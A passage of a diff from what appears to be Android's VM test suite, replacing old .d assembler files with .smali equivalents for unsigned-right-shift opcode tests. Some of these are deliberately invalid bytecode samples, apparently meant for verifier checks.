+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_2.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2
-       const-wide v2, 12345.0
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali
new file mode 100644
index 0000000..d7d7a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d
deleted file mode 100644
index a7e8263..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_3.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 4
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali
new file mode 100644
index 0000000..70aeeaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d
deleted file mode 100644
index 330ce0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_4.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr  v1, v0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali
new file mode 100644
index 0000000..f368bfe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr  v1, v0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d
deleted file mode 100644
index d5906eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_5.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali
new file mode 100644
index 0000000..c25fa82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d
deleted file mode 100644
index 0e3753c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_6.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr v1, v3
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali
new file mode 100644
index 0000000..c3448c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v3
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d
deleted file mode 100644
index 3d6d12d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_1.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 15
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali
new file mode 100644
index 0000000..16b13f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d
deleted file mode 100644
index 66e89fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_10.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_10
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v0, 12345456788.0
-       ushr-int/lit8 v1, v0, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali
new file mode 100644
index 0000000..0f579a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v0, 12345456788.0
+       ushr-int/lit8 v1, v0, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d
deleted file mode 100644
index d0b5a53..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_11.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_11
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-       const-wide v0, 12345456788
-       ushr-int/lit8 v1, v0, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali
new file mode 100644
index 0000000..accff26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11;
+.super Ljava/lang/Object;
+.source "T_ushr_int_lit8_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 4
+
+    const-wide v0, 0x2dfd8b894L
+
+    ushr-int/lit8 v1, v0, 0x1
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d
deleted file mode 100644
index 9925d72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_12.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_12
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 2
-
-       ushr-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali
new file mode 100644
index 0000000..f6b6d93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+
+       ushr-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d
deleted file mode 100644
index 431983f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_13.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_13
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       ushr-int/lit8 v1, v2, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali
new file mode 100644
index 0000000..3850f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       ushr-int/lit8 v1, v2, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d
deleted file mode 100644
index 7bf0d26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_14.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_14
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       ushr-int/lit8 v1, v3, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali
new file mode 100644
index 0000000..597ff1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       ushr-int/lit8 v1, v3, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d
deleted file mode 100644
index 2727421..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_2.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 33
-       ushr-int/lit8 v1, v1, 2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali
new file mode 100644
index 0000000..17ba7b8
--- /dev/null
